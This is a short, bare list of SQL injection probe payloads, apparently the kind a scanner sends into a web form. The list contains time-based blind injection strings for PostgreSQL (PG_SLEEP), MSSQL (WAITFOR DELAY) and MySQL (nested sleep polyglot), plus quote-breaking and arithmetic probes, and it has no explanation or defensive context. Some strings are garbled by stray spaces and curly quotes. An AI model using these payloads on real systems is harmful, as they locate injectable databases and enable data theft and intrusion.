555-1)) OR 263=(SELECT 263 FROM PG_SLEEP(15))--

555-1) OR 359=(SELECT 359 FROM PG_SLEEP(15))--

555-1 OR 265=(SELECT 265 FROM PG_SLEEP(15))--

555hq3CiVsQ′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/